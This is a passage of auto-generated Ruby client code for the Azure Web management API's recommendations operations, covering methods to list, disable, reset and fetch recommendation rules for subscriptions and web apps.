# duration'[PT1H|PT1M|P1D]
# @param custom_headers [Hash{String => String}] A hash of custom headers that
# will be added to the HTTP request.
#
# @return [Array<Recommendation>] operation results.
#
def list(featured:nil, filter:nil, custom_headers:nil)
first_page = list_as_lazy(featured:featured, filter:filter, custom_headers:custom_headers)
first_page.get_all_items
end
#
# List all recommendations for a subscription.
#
# List all recommendations for a subscription.
#
# @param featured [Boolean] Specify <code>true</code> to return only the most
# critical recommendations. The default is <code>false</code>, which returns
# all recommendations.
# @param filter [String] Filter is specified by using OData syntax. Example:
# $filter=channel eq 'Api' or channel eq 'Notification' and startTime eq
# 2014-01-01T00:00:00Z and endTime eq 2014-12-31T23:59:59Z and timeGrain eq
# duration'[PT1H|PT1M|P1D]
# @param custom_headers [Hash{String => String}] A hash of custom headers that
# will be added to the HTTP request.
#
# @return [MsRestAzure::AzureOperationResponse] HTTP response information.
#
def list_with_http_info(featured:nil, filter:nil, custom_headers:nil)
list_async(featured:featured, filter:filter, custom_headers:custom_headers).value!
end
#
# List all recommendations for a subscription.
#
# List all recommendations for a subscription.
#
# @param featured [Boolean] Specify <code>true</code> to return only the most
# critical recommendations. The default is <code>false</code>, which returns
# all recommendations.
# @param filter [String] Filter is specified by using OData syntax. Example:
# $filter=channel eq 'Api' or channel eq 'Notification' and startTime eq
# 2014-01-01T00:00:00Z and endTime eq 2014-12-31T23:59:59Z and timeGrain eq
# duration'[PT1H|PT1M|P1D]
# @param [Hash{String => String}] A hash of custom headers that will be added
# to the HTTP request.
#
# @return [Concurrent::Promise] Promise object which holds the HTTP response.
#
def list_async(featured:nil, filter:nil, custom_headers:nil)
fail ArgumentError, '@client.subscription_id is nil' if @client.subscription_id.nil?
fail ArgumentError, '@client.api_version is nil' if @client.api_version.nil?
request_headers = {}
request_headers['Content-Type'] = 'application/json; charset=utf-8'
# Set Headers
request_headers['x-ms-client-request-id'] = SecureRandom.uuid
request_headers['accept-language'] = @client.accept_language unless @client.accept_language.nil?
path_template = 'subscriptions/{subscriptionId}/providers/Microsoft.Web/recommendations'
request_url = @base_url || @client.base_url
options = {
middlewares: [[MsRest::RetryPolicyMiddleware, times: 3, retry: 0.02], [:cookie_jar]],
path_params: {'subscriptionId' => @client.subscription_id},
query_params: {'featured' => featured,'api-version' => @client.api_version},
skip_encoding_query_params: {'$filter' => filter},
headers: request_headers.merge(custom_headers || {}),
base_url: request_url
}
promise = @client.make_request_async(:get, path_template, options)
promise = promise.then do |result|
http_response = result.response
status_code = http_response.status
response_content = http_response.body
unless status_code == 200
error_model = JSON.load(response_content)
fail MsRest::HttpOperationError.new(result.request, http_response, error_model)
end
result.request_id = http_response['x-ms-request-id'] unless http_response['x-ms-request-id'].nil?
# Deserialize Response
if status_code == 200
begin
parsed_response = response_content.to_s.empty? ? nil : JSON.load(response_content)
result_mapper = Azure::Web::Mgmt::V2018_02_01::Models::RecommendationCollection.mapper()
result.body = @client.deserialize(result_mapper, parsed_response)
rescue Exception => e
fail MsRest::DeserializationError.new('Error occurred in deserializing the response', e.message, e.backtrace, result)
end
end
result
end
promise.execute
end
#
# Reset all recommendation opt-out settings for a subscription.
#
# Reset all recommendation opt-out settings for a subscription.
#
# @param custom_headers [Hash{String => String}] A hash of custom headers that
# will be added to the HTTP request.
#
#
def reset_all_filters(custom_headers:nil)
response = reset_all_filters_async(custom_headers:custom_headers).value!
nil
end
#
# Reset all recommendation opt-out settings for a subscription.
#
# Reset all recommendation opt-out settings for a subscription.
#
# @param custom_headers [Hash{String => String}] A hash of custom headers that
# will be added to the HTTP request.
#
# @return [MsRestAzure::AzureOperationResponse] HTTP response information.
#
def reset_all_filters_with_http_info(custom_headers:nil)
reset_all_filters_async(custom_headers:custom_headers).value!
end
#
# Reset all recommendation opt-out settings for a subscription.
#
# Reset all recommendation opt-out settings for a subscription.
#
# @param [Hash{String => String}] A hash of custom headers that will be added
# to the HTTP request.
#
# @return [Concurrent::Promise] Promise object which holds the HTTP response.
#
def reset_all_filters_async(custom_headers:nil)
fail ArgumentError, '@client.subscription_id is nil' if @client.subscription_id.nil?
fail ArgumentError, '@client.api_version is nil' if @client.api_version.nil?
request_headers = {}
request_headers['Content-Type'] = 'application/json; charset=utf-8'
# Set Headers
request_headers['x-ms-client-request-id'] = SecureRandom.uuid
request_headers['accept-language'] = @client.accept_language unless @client.accept_language.nil?
path_template = 'subscriptions/{subscriptionId}/providers/Microsoft.Web/recommendations/reset'
request_url = @base_url || @client.base_url
options = {
middlewares: [[MsRest::RetryPolicyMiddleware, times: 3, retry: 0.02], [:cookie_jar]],
path_params: {'subscriptionId' => @client.subscription_id},
query_params: {'api-version' => @client.api_version},
headers: request_headers.merge(custom_headers || {}),
base_url: request_url
}
promise = @client.make_request_async(:post, path_template, options)
promise = promise.then do |result|
http_response = result.response
status_code = http_response.status
response_content = http_response.body
unless status_code == 204
error_model = JSON.load(response_content)
fail MsRestAzure::AzureOperationError.new(result.request, http_response, error_model)
end
result.request_id = http_response['x-ms-request-id'] unless http_response['x-ms-request-id'].nil?
result
end
promise.execute
end
#
# Disables the specified rule so it will not apply to a subscription in the
# future.
#
# Disables the specified rule so it will not apply to a subscription in the
# future.
#
# @param name [String] Rule name
# @param custom_headers [Hash{String => String}] A hash of custom headers that
# will be added to the HTTP request.
#
#
def disable_recommendation_for_subscription(name, custom_headers:nil)
response = disable_recommendation_for_subscription_async(name, custom_headers:custom_headers).value!
nil
end
#
# Disables the specified rule so it will not apply to a subscription in the
# future.
#
# Disables the specified rule so it will not apply to a subscription in the
# future.
#
# @param name [String] Rule name
# @param custom_headers [Hash{String => String}] A hash of custom headers that
# will be added to the HTTP request.
#
# @return [MsRestAzure::AzureOperationResponse] HTTP response information.
#
def disable_recommendation_for_subscription_with_http_info(name, custom_headers:nil)
disable_recommendation_for_subscription_async(name, custom_headers:custom_headers).value!
end
#
# Disables the specified rule so it will not apply to a subscription in the
# future.
#
# Disables the specified rule so it will not apply to a subscription in the
# future.
#
# @param name [String] Rule name
# @param [Hash{String => String}] A hash of custom headers that will be added
# to the HTTP request.
#
# @return [Concurrent::Promise] Promise object which holds the HTTP response.
#
def disable_recommendation_for_subscription_async(name, custom_headers:nil)
fail ArgumentError, 'name is nil' if name.nil?
fail ArgumentError, '@client.subscription_id is nil' if @client.subscription_id.nil?
fail ArgumentError, '@client.api_version is nil' if @client.api_version.nil?
request_headers = {}
request_headers['Content-Type'] = 'application/json; charset=utf-8'
# Set Headers
request_headers['x-ms-client-request-id'] = SecureRandom.uuid
request_headers['accept-language'] = @client.accept_language unless @client.accept_language.nil?
path_template = 'subscriptions/{subscriptionId}/providers/Microsoft.Web/recommendations/{name}/disable'
request_url = @base_url || @client.base_url
options = {
middlewares: [[MsRest::RetryPolicyMiddleware, times: 3, retry: 0.02], [:cookie_jar]],
path_params: {'name' => name,'subscriptionId' => @client.subscription_id},
query_params: {'api-version' => @client.api_version},
headers: request_headers.merge(custom_headers || {}),
base_url: request_url
}
promise = @client.make_request_async(:post, path_template, options)
promise = promise.then do |result|
http_response = result.response
status_code = http_response.status
response_content = http_response.body
unless status_code == 200
error_model = JSON.load(response_content)
fail MsRestAzure::AzureOperationError.new(result.request, http_response, error_model)
end
result.request_id = http_response['x-ms-request-id'] unless http_response['x-ms-request-id'].nil?
result
end
promise.execute
end
#
# Get past recommendations for an app, optionally specified by the time range.
#
# Get past recommendations for an app, optionally specified by the time range.
#
# @param resource_group_name [String] Name of the resource group to which the
# resource belongs.
# @param site_name [String] Name of the app.
# @param expired_only [Boolean] Specify <code>false</code> to return all
# recommendations. The default is <code>true</code>, which returns only expired
# recommendations.
# @param filter [String] Filter is specified by using OData syntax. Example:
# $filter=channel eq 'Api' or channel eq 'Notification' and startTime eq
# 2014-01-01T00:00:00Z and endTime eq 2014-12-31T23:59:59Z and timeGrain eq
# duration'[PT1H|PT1M|P1D]
# @param custom_headers [Hash{String => String}] A hash of custom headers that
# will be added to the HTTP request.
#
# @return [Array<Recommendation>] operation results.
#
def list_history_for_web_app(resource_group_name, site_name, expired_only:nil, filter:nil, custom_headers:nil)
first_page = list_history_for_web_app_as_lazy(resource_group_name, site_name, expired_only:expired_only, filter:filter, custom_headers:custom_headers)
first_page.get_all_items
end
#
# Get past recommendations for an app, optionally specified by the time range.
#
# Get past recommendations for an app, optionally specified by the time range.
#
# @param resource_group_name [String] Name of the resource group to which the
# resource belongs.
# @param site_name [String] Name of the app.
# @param expired_only [Boolean] Specify <code>false</code> to return all
# recommendations. The default is <code>true</code>, which returns only expired
# recommendations.
# @param filter [String] Filter is specified by using OData syntax. Example:
# $filter=channel eq 'Api' or channel eq 'Notification' and startTime eq
# 2014-01-01T00:00:00Z and endTime eq 2014-12-31T23:59:59Z and timeGrain eq
# duration'[PT1H|PT1M|P1D]
# @param custom_headers [Hash{String => String}] A hash of custom headers that
# will be added to the HTTP request.
#
# @return [MsRestAzure::AzureOperationResponse] HTTP response information.
#
def list_history_for_web_app_with_http_info(resource_group_name, site_name, expired_only:nil, filter:nil, custom_headers:nil)
list_history_for_web_app_async(resource_group_name, site_name, expired_only:expired_only, filter:filter, custom_headers:custom_headers).value!
end
#
# Get past recommendations for an app, optionally specified by the time range.
#
# Get past recommendations for an app, optionally specified by the time range.
#
# @param resource_group_name [String] Name of the resource group to which the
# resource belongs.
# @param site_name [String] Name of the app.
# @param expired_only [Boolean] Specify <code>false</code> to return all
# recommendations. The default is <code>true</code>, which returns only expired
# recommendations.
# @param filter [String] Filter is specified by using OData syntax. Example:
# $filter=channel eq 'Api' or channel eq 'Notification' and startTime eq
# 2014-01-01T00:00:00Z and endTime eq 2014-12-31T23:59:59Z and timeGrain eq
# duration'[PT1H|PT1M|P1D]
# @param [Hash{String => String}] A hash of custom headers that will be added
# to the HTTP request.
#
# @return [Concurrent::Promise] Promise object which holds the HTTP response.
#
def list_history_for_web_app_async(resource_group_name, site_name, expired_only:nil, filter:nil, custom_headers:nil)
fail ArgumentError, 'resource_group_name is nil' if resource_group_name.nil?
fail ArgumentError, "'resource_group_name' should satisfy the constraint - 'MaxLength': '90'" if !resource_group_name.nil? && resource_group_name.length > 90
fail ArgumentError, "'resource_group_name' should satisfy the constraint - 'MinLength': '1'" if !resource_group_name.nil? && resource_group_name.length < 1
fail ArgumentError, "'resource_group_name' should satisfy the constraint - 'Pattern': '^[-\w\._\(\)]+[^\.]$'" if !resource_group_name.nil? && resource_group_name.match(Regexp.new('^^[-\w\._\(\)]+[^\.]$$')).nil?
fail ArgumentError, 'site_name is nil' if site_name.nil?
fail ArgumentError, '@client.subscription_id is nil' if @client.subscription_id.nil?
fail ArgumentError, '@client.api_version is nil' if @client.api_version.nil?
request_headers = {}
request_headers['Content-Type'] = 'application/json; charset=utf-8'
# Set Headers
request_headers['x-ms-client-request-id'] = SecureRandom.uuid
request_headers['accept-language'] = @client.accept_language unless @client.accept_language.nil?
path_template = 'subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Web/sites/{siteName}/recommendationHistory'
request_url = @base_url || @client.base_url
options = {
middlewares: [[MsRest::RetryPolicyMiddleware, times: 3, retry: 0.02], [:cookie_jar]],
path_params: {'resourceGroupName' => resource_group_name,'siteName' => site_name,'subscriptionId' => @client.subscription_id},
query_params: {'expiredOnly' => expired_only,'api-version' => @client.api_version},
skip_encoding_query_params: {'$filter' => filter},
headers: request_headers.merge(custom_headers || {}),
base_url: request_url
}
promise = @client.make_request_async(:get, path_template, options)
promise = promise.then do |result|
http_response = result.response
status_code = http_response.status
response_content = http_response.body
unless status_code == 200
error_model = JSON.load(response_content)
fail MsRest::HttpOperationError.new(result.request, http_response, error_model)
end
result.request_id = http_response['x-ms-request-id'] unless http_response['x-ms-request-id'].nil?
# Deserialize Response
if status_code == 200
begin
parsed_response = response_content.to_s.empty? ? nil : JSON.load(response_content)
result_mapper = Azure::Web::Mgmt::V2018_02_01::Models::RecommendationCollection.mapper()
result.body = @client.deserialize(result_mapper, parsed_response)
rescue Exception => e
fail MsRest::DeserializationError.new('Error occurred in deserializing the response', e.message, e.backtrace, result)
end
end
result
end
promise.execute
end
#
# Get all recommendations for an app.
#
# Get all recommendations for an app.
#
# @param resource_group_name [String] Name of the resource group to which the
# resource belongs.
# @param site_name [String] Name of the app.
# @param featured [Boolean] Specify <code>true</code> to return only the most
# critical recommendations. The default is <code>false</code>, which returns
# all recommendations.
# @param filter [String] Return only channels specified in the filter. Filter
# is specified by using OData syntax. Example: $filter=channel eq 'Api' or
# channel eq 'Notification'
# @param custom_headers [Hash{String => String}] A hash of custom headers that
# will be added to the HTTP request.
#
# @return [Array<Recommendation>] operation results.
#
def list_recommended_rules_for_web_app(resource_group_name, site_name, featured:nil, filter:nil, custom_headers:nil)
first_page = list_recommended_rules_for_web_app_as_lazy(resource_group_name, site_name, featured:featured, filter:filter, custom_headers:custom_headers)
first_page.get_all_items
end
#
# Get all recommendations for an app.
#
# Get all recommendations for an app.
#
# @param resource_group_name [String] Name of the resource group to which the
# resource belongs.
# @param site_name [String] Name of the app.
# @param featured [Boolean] Specify <code>true</code> to return only the most
# critical recommendations. The default is <code>false</code>, which returns
# all recommendations.
# @param filter [String] Return only channels specified in the filter. Filter
# is specified by using OData syntax. Example: $filter=channel eq 'Api' or
# channel eq 'Notification'
# @param custom_headers [Hash{String => String}] A hash of custom headers that
# will be added to the HTTP request.
#
# @return [MsRestAzure::AzureOperationResponse] HTTP response information.
#
def list_recommended_rules_for_web_app_with_http_info(resource_group_name, site_name, featured:nil, filter:nil, custom_headers:nil)
list_recommended_rules_for_web_app_async(resource_group_name, site_name, featured:featured, filter:filter, custom_headers:custom_headers).value!
end
#
# Get all recommendations for an app.
#
# Get all recommendations for an app.
#
# @param resource_group_name [String] Name of the resource group to which the
# resource belongs.
# @param site_name [String] Name of the app.
# @param featured [Boolean] Specify <code>true</code> to return only the most
# critical recommendations. The default is <code>false</code>, which returns
# all recommendations.
# @param filter [String] Return only channels specified in the filter. Filter
# is specified by using OData syntax. Example: $filter=channel eq 'Api' or
# channel eq 'Notification'
# @param [Hash{String => String}] A hash of custom headers that will be added
# to the HTTP request.
#
# @return [Concurrent::Promise] Promise object which holds the HTTP response.
#
def list_recommended_rules_for_web_app_async(resource_group_name, site_name, featured:nil, filter:nil, custom_headers:nil)
fail ArgumentError, 'resource_group_name is nil' if resource_group_name.nil?
fail ArgumentError, "'resource_group_name' should satisfy the constraint - 'MaxLength': '90'" if !resource_group_name.nil? && resource_group_name.length > 90
fail ArgumentError, "'resource_group_name' should satisfy the constraint - 'MinLength': '1'" if !resource_group_name.nil? && resource_group_name.length < 1
fail ArgumentError, "'resource_group_name' should satisfy the constraint - 'Pattern': '^[-\w\._\(\)]+[^\.]$'" if !resource_group_name.nil? && resource_group_name.match(Regexp.new('^^[-\w\._\(\)]+[^\.]$$')).nil?
fail ArgumentError, 'site_name is nil' if site_name.nil?
fail ArgumentError, '@client.subscription_id is nil' if @client.subscription_id.nil?
fail ArgumentError, '@client.api_version is nil' if @client.api_version.nil?
request_headers = {}
request_headers['Content-Type'] = 'application/json; charset=utf-8'
# Set Headers
request_headers['x-ms-client-request-id'] = SecureRandom.uuid
request_headers['accept-language'] = @client.accept_language unless @client.accept_language.nil?
path_template = 'subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Web/sites/{siteName}/recommendations'
request_url = @base_url || @client.base_url
options = {
middlewares: [[MsRest::RetryPolicyMiddleware, times: 3, retry: 0.02], [:cookie_jar]],
path_params: {'resourceGroupName' => resource_group_name,'siteName' => site_name,'subscriptionId' => @client.subscription_id},
query_params: {'featured' => featured,'api-version' => @client.api_version},
skip_encoding_query_params: {'$filter' => filter},
headers: request_headers.merge(custom_headers || {}),
base_url: request_url
}
promise = @client.make_request_async(:get, path_template, options)
promise = promise.then do |result|
http_response = result.response
status_code = http_response.status
response_content = http_response.body
unless status_code == 200
error_model = JSON.load(response_content)
fail MsRest::HttpOperationError.new(result.request, http_response, error_model)
end
result.request_id = http_response['x-ms-request-id'] unless http_response['x-ms-request-id'].nil?
# Deserialize Response
if status_code == 200
begin
parsed_response = response_content.to_s.empty? ? nil : JSON.load(response_content)
result_mapper = Azure::Web::Mgmt::V2018_02_01::Models::RecommendationCollection.mapper()
result.body = @client.deserialize(result_mapper, parsed_response)
rescue Exception => e
fail MsRest::DeserializationError.new('Error occurred in deserializing the response', e.message, e.backtrace, result)
end
end
result
end
promise.execute
end
#
# Disable all recommendations for an app.
#
# Disable all recommendations for an app.
#
# @param resource_group_name [String] Name of the resource group to which the
# resource belongs.
# @param site_name [String] Name of the app.
# @param custom_headers [Hash{String => String}] A hash of custom headers that
# will be added to the HTTP request.
#
#
def disable_all_for_web_app(resource_group_name, site_name, custom_headers:nil)
response = disable_all_for_web_app_async(resource_group_name, site_name, custom_headers:custom_headers).value!
nil
end
#
# Disable all recommendations for an app.
#
# Disable all recommendations for an app.
#
# @param resource_group_name [String] Name of the resource group to which the
# resource belongs.
# @param site_name [String] Name of the app.
# @param custom_headers [Hash{String => String}] A hash of custom headers that
# will be added to the HTTP request.
#
# @return [MsRestAzure::AzureOperationResponse] HTTP response information.
#
def disable_all_for_web_app_with_http_info(resource_group_name, site_name, custom_headers:nil)
disable_all_for_web_app_async(resource_group_name, site_name, custom_headers:custom_headers).value!
end
#
# Disable all recommendations for an app.
#
# Disable all recommendations for an app.
#
# @param resource_group_name [String] Name of the resource group to which the
# resource belongs.
# @param site_name [String] Name of the app.
# @param [Hash{String => String}] A hash of custom headers that will be added
# to the HTTP request.
#
# @return [Concurrent::Promise] Promise object which holds the HTTP response.
#
def disable_all_for_web_app_async(resource_group_name, site_name, custom_headers:nil)
fail ArgumentError, 'resource_group_name is nil' if resource_group_name.nil?
fail ArgumentError, "'resource_group_name' should satisfy the constraint - 'MaxLength': '90'" if !resource_group_name.nil? && resource_group_name.length > 90
fail ArgumentError, "'resource_group_name' should satisfy the constraint - 'MinLength': '1'" if !resource_group_name.nil? && resource_group_name.length < 1
fail ArgumentError, "'resource_group_name' should satisfy the constraint - 'Pattern': '^[-\w\._\(\)]+[^\.]$'" if !resource_group_name.nil? && resource_group_name.match(Regexp.new('^^[-\w\._\(\)]+[^\.]$$')).nil?
fail ArgumentError, 'site_name is nil' if site_name.nil?
fail ArgumentError, '@client.subscription_id is nil' if @client.subscription_id.nil?
fail ArgumentError, '@client.api_version is nil' if @client.api_version.nil?
request_headers = {}
request_headers['Content-Type'] = 'application/json; charset=utf-8'
# Set Headers
request_headers['x-ms-client-request-id'] = SecureRandom.uuid
request_headers['accept-language'] = @client.accept_language unless @client.accept_language.nil?
path_template = 'subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Web/sites/{siteName}/recommendations/disable'
request_url = @base_url || @client.base_url
options = {
middlewares: [[MsRest::RetryPolicyMiddleware, times: 3, retry: 0.02], [:cookie_jar]],
path_params: {'resourceGroupName' => resource_group_name,'siteName' => site_name,'subscriptionId' => @client.subscription_id},
query_params: {'api-version' => @client.api_version},
headers: request_headers.merge(custom_headers || {}),
base_url: request_url
}
promise = @client.make_request_async(:post, path_template, options)
promise = promise.then do |result|
http_response = result.response
status_code = http_response.status
response_content = http_response.body
unless status_code == 204
error_model = JSON.load(response_content)
fail MsRestAzure::AzureOperationError.new(result.request, http_response, error_model)
end
result.request_id = http_response['x-ms-request-id'] unless http_response['x-ms-request-id'].nil?
result
end
promise.execute
end
#
# Reset all recommendation opt-out settings for an app.
#
# Reset all recommendation opt-out settings for an app.
#
# @param resource_group_name [String] Name of the resource group to which the
# resource belongs.
# @param site_name [String] Name of the app.
# @param custom_headers [Hash{String => String}] A hash of custom headers that
# will be added to the HTTP request.
#
#
def reset_all_filters_for_web_app(resource_group_name, site_name, custom_headers:nil)
response = reset_all_filters_for_web_app_async(resource_group_name, site_name, custom_headers:custom_headers).value!
nil
end
#
# Reset all recommendation opt-out settings for an app.
#
# Reset all recommendation opt-out settings for an app.
#
# @param resource_group_name [String] Name of the resource group to which the
# resource belongs.
# @param site_name [String] Name of the app.
# @param custom_headers [Hash{String => String}] A hash of custom headers that
# will be added to the HTTP request.
#
# @return [MsRestAzure::AzureOperationResponse] HTTP response information.
#
def reset_all_filters_for_web_app_with_http_info(resource_group_name, site_name, custom_headers:nil)
reset_all_filters_for_web_app_async(resource_group_name, site_name, custom_headers:custom_headers).value!
end
#
# Reset all recommendation opt-out settings for an app.
#
# Reset all recommendation opt-out settings for an app.
#
# @param resource_group_name [String] Name of the resource group to which the
# resource belongs.
# @param site_name [String] Name of the app.
# @param [Hash{String => String}] A hash of custom headers that will be added
# to the HTTP request.
#
# @return [Concurrent::Promise] Promise object which holds the HTTP response.
#
def reset_all_filters_for_web_app_async(resource_group_name, site_name, custom_headers:nil)
fail ArgumentError, 'resource_group_name is nil' if resource_group_name.nil?
fail ArgumentError, "'resource_group_name' should satisfy the constraint - 'MaxLength': '90'" if !resource_group_name.nil? && resource_group_name.length > 90
fail ArgumentError, "'resource_group_name' should satisfy the constraint - 'MinLength': '1'" if !resource_group_name.nil? && resource_group_name.length < 1
fail ArgumentError, "'resource_group_name' should satisfy the constraint - 'Pattern': '^[-\w\._\(\)]+[^\.]$'" if !resource_group_name.nil? && resource_group_name.match(Regexp.new('^^[-\w\._\(\)]+[^\.]$$')).nil?
fail ArgumentError, 'site_name is nil' if site_name.nil?
fail ArgumentError, '@client.subscription_id is nil' if @client.subscription_id.nil?
fail ArgumentError, '@client.api_version is nil' if @client.api_version.nil?
request_headers = {}
request_headers['Content-Type'] = 'application/json; charset=utf-8'
# Set Headers
request_headers['x-ms-client-request-id'] = SecureRandom.uuid
request_headers['accept-language'] = @client.accept_language unless @client.accept_language.nil?
path_template = 'subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Web/sites/{siteName}/recommendations/reset'
request_url = @base_url || @client.base_url
options = {
middlewares: [[MsRest::RetryPolicyMiddleware, times: 3, retry: 0.02], [:cookie_jar]],
path_params: {'resourceGroupName' => resource_group_name,'siteName' => site_name,'subscriptionId' => @client.subscription_id},
query_params: {'api-version' => @client.api_version},
headers: request_headers.merge(custom_headers || {}),
base_url: request_url
}
promise = @client.make_request_async(:post, path_template, options)
promise = promise.then do |result|
http_response = result.response
status_code = http_response.status
response_content = http_response.body
unless status_code == 204
error_model = JSON.load(response_content)
fail MsRestAzure::AzureOperationError.new(result.request, http_response, error_model)
end
result.request_id = http_response['x-ms-request-id'] unless http_response['x-ms-request-id'].nil?
result
end
promise.execute
end
#
# Get a recommendation rule for an app.
#
# Get a recommendation rule for an app.
#
# @param resource_group_name [String] Name of the resource group to which the
# resource belongs.
# @param site_name [String] Name of the app.
# @param name [String] Name of the recommendation.
# @param update_seen [Boolean] Specify <code>true</code> to update the
# last-seen timestamp of the recommendation object.
# @param recommendation_id [String] The GUID of the recommedation object if you
# query an expired one. You don't need to specify it to query an active entry.
# @param custom_headers [Hash{String => String}] A hash of custom headers that
# will be added to the HTTP request.
#
# @return [RecommendationRule] operation results.
#
def get_rule_details_by_web_app(resource_group_name, site_name, name, update_seen:nil, recommendation_id:nil, custom_headers:nil)
response = get_rule_details_by_web_app_async(resource_group_name, site_name, name, update_seen:update_seen, recommendation_id:recommendation_id, custom_headers:custom_headers).value!
response.body unless response.nil?
end
#
# Get a recommendation rule for an app.
#
# Get a recommendation rule for an app.
#
# @param resource_group_name [String] Name of the resource group to which the
# resource belongs.
# @param site_name [String] Name of the app.
# @param name [String] Name of the recommendation.
# @param update_seen [Boolean] Specify <code>true</code> to update the
# last-seen timestamp of the recommendation object.
# @param recommendation_id [String] The GUID of the recommedation object if you
# query an expired one. You don't need to specify it to query an active entry.
# @param custom_headers [Hash{String => String}] A hash of custom headers that
# will be added to the HTTP request.
#
# @return [MsRestAzure::AzureOperationResponse] HTTP response information.
#
def get_rule_details_by_web_app_with_http_info(resource_group_name, site_name, name, update_seen:nil, recommendation_id:nil, custom_headers:nil)
get_rule_details_by_web_app_async(resource_group_name, site_name, name, update_seen:update_seen, recommendation_id:recommendation_id, custom_headers:custom_headers).value!
end
#
# Get a recommendation rule for an app.
#
# Get a recommendation rule for an app.
#
# @param resource_group_name [String] Name of the resource group to which the
# resource belongs.
# @param site_name [String] Name of the app.
# @param name [String] Name of the recommendation.
# @param update_seen [Boolean] Specify <code>true</code> to update the
# last-seen timestamp of the recommendation object.
# @param recommendation_id [String] The GUID of the recommedation object if you
# query an expired one. You don't need to specify it to query an active entry.
# @param [Hash{String => String}] A hash of custom headers that will be added
# to the HTTP request.
#
# @return [Concurrent::Promise] Promise object which holds the HTTP response.
#
def get_rule_details_by_web_app_async(resource_group_name, site_name, name, update_seen:nil, recommendation_id:nil, custom_headers:nil)
fail ArgumentError, 'resource_group_name is nil' if resource_group_name.nil?
fail ArgumentError, "'resource_group_name' should satisfy the constraint - 'MaxLength': '90'" if !resource_group_name.nil? && resource_group_name.length > 90
fail ArgumentError, "'resource_group_name' should satisfy the constraint - 'MinLength': '1'" if !resource_group_name.nil? && resource_group_name.length < 1
fail ArgumentError, "'resource_group_name' should satisfy the constraint - 'Pattern': '^[-\w\._\(\)]+[^\.]$'" if !resource_group_name.nil? && resource_group_name.match(Regexp.new('^^[-\w\._\(\)]+[^\.]$$')).nil?
fail ArgumentError, 'site_name is nil' if site_name.nil?
fail ArgumentError, 'name is nil' if name.nil?
fail ArgumentError, '@client.subscription_id is nil' if @client.subscription_id.nil?
fail ArgumentError, '@client.api_version is nil' if @client.api_version.nil?
request_headers = {}
request_headers['Content-Type'] = 'application/json; charset=utf-8'
# Set Headers
request_headers['x-ms-client-request-id'] = SecureRandom.uuid
request_headers['accept-language'] = @client.accept_language unless @client.accept_language.nil?
path_template = 'subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Web/sites/{siteName}/recommendations/{name}'
request_url = @base_url || @client.base_url
options = {
middlewares: [[MsRest::RetryPolicyMiddleware, times: 3, retry: 0.02], [:cookie_jar]],
path_params: {'resourceGroupName' => resource_group_name,'siteName' => site_name,'name' => name,'subscriptionId' => @client.subscription_id},
query_params: {'updateSeen' => update_seen,'recommendationId' => recommendation_id,'api-version' => @client.api_version},
headers: request_headers.merge(custom_headers || {}),
base_url: request_url
}
promise = @client.make_request_async(:get, path_template, options)
promise = promise.then do |result|
http_response = result.response
status_code = http_response.status
response_content = http_response.body
unless status_code == 200
error_model = JSON.load(response_content)
fail MsRest::HttpOperationError.new(result.request, http_response, error_model)
end
result.request_id = http_response['x-ms-request-id'] unless http_response['x-ms-request-id'].nil?
# Deserialize Response
if status_code == 200
begin
parsed_response = response_content.to_s.empty? ? nil : JSON.load(response_content)
result_mapper = Azure::Web::Mgmt::V2018_02_01::Models::RecommendationRule.mapper()
result.body = @client.deserialize(result_mapper, parsed_response)
rescue Exception => e
fail MsRest::DeserializationError.new('Error occurred in deserializing the response', e.message, e.backtrace, result)
end
end
result
end
promise.execute
end
#
# Disables the specific rule for a web site permanently.
#
# Disables the specific rule for a web site permanently.
#
# @param resource_group_name [String] Name of the resource group to which the
# resource belongs.
# @param site_name [String] Site name
# @param name [String] Rule name
# @param custom_headers [Hash{String => String}] A hash of custom headers that
# will be added to the HTTP request.
#
#
def disable_recommendation_for_site(resource_group_name, site_name, name, custom_headers:nil)
response = disable_recommendation_for_site_async(resource_group_name, site_name, name, custom_headers:custom_headers).value!
nil
end
#
# Disables the specific rule for a web site permanently.
#
# Disables the specific rule for a web site permanently.
#
# @param resource_group_name [String] Name of the resource group to which the
# resource belongs.
# @param site_name [String] Site name
# @param name [String] Rule name
# @param custom_headers [Hash{String => String}] A hash of custom headers that
# will be added to the HTTP request.
#
# @return [MsRestAzure::AzureOperationResponse] HTTP response information.
#
def disable_recommendation_for_site_with_http_info(resource_group_name, site_name, name, custom_headers:nil)
disable_recommendation_for_site_async(resource_group_name, site_name, name, custom_headers:custom_headers).value!
end
#
# Disables the specific rule for a web site permanently.
#
# Disables the specific rule for a web site permanently.
#
# @param resource_group_name [String] Name of the resource group to which the
# resource belongs.
# @param site_name [String] Site name
# @param name [String] Rule name
# @param [Hash{String => String}] A hash of custom headers that will be added
# to the HTTP request.
#
# @return [Concurrent::Promise] Promise object which holds the HTTP response.
#
def disable_recommendation_for_site_async(resource_group_name, site_name, name, custom_headers:nil)
fail ArgumentError, 'resource_group_name is nil' if resource_group_name.nil?
fail ArgumentError, "'resource_group_name' should satisfy the constraint - 'MaxLength': '90'" if !resource_group_name.nil? && resource_group_name.length > 90
fail ArgumentError, "'resource_group_name' should satisfy the constraint - 'MinLength': '1'" if !resource_group_name.nil? && resource_group_name.length < 1
fail ArgumentError, "'resource_group_name' should satisfy the constraint - 'Pattern': '^[-\w\._\(\)]+[^\.]$'" if !resource_group_name.nil? && resource_group_name.match(Regexp.new('^^[-\w\._\(\)]+[^\.]$$')).nil?
fail ArgumentError, 'site_name is nil' if site_name.nil?
fail ArgumentError, 'name is nil' if name.nil?
fail ArgumentError, '@client.subscription_id is nil' if @client.subscription_id.nil?
fail ArgumentError, '@client.api_version is nil' if @client.api_version.nil?
request_headers = {}
request_headers['Content-Type'] = 'application/json; charset=utf-8'
# Set Headers
request_headers['x-ms-client-request-id'] = SecureRandom.uuid
request_headers['accept-language'] = @client.accept_language unless @client.accept_language.nil?
path_template = 'subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Web/sites/{siteName}/recommendations/{name}/disable'
request_url = @base_url || @client.base_url
options = {
middlewares: [[MsRest::RetryPolicyMiddleware, times: 3, retry: 0.02], [:cookie_jar]],
path_params: {'resourceGroupName' => resource_group_name,'siteName' => site_name,'name' => name,'subscriptionId' => @client.subscription_id},
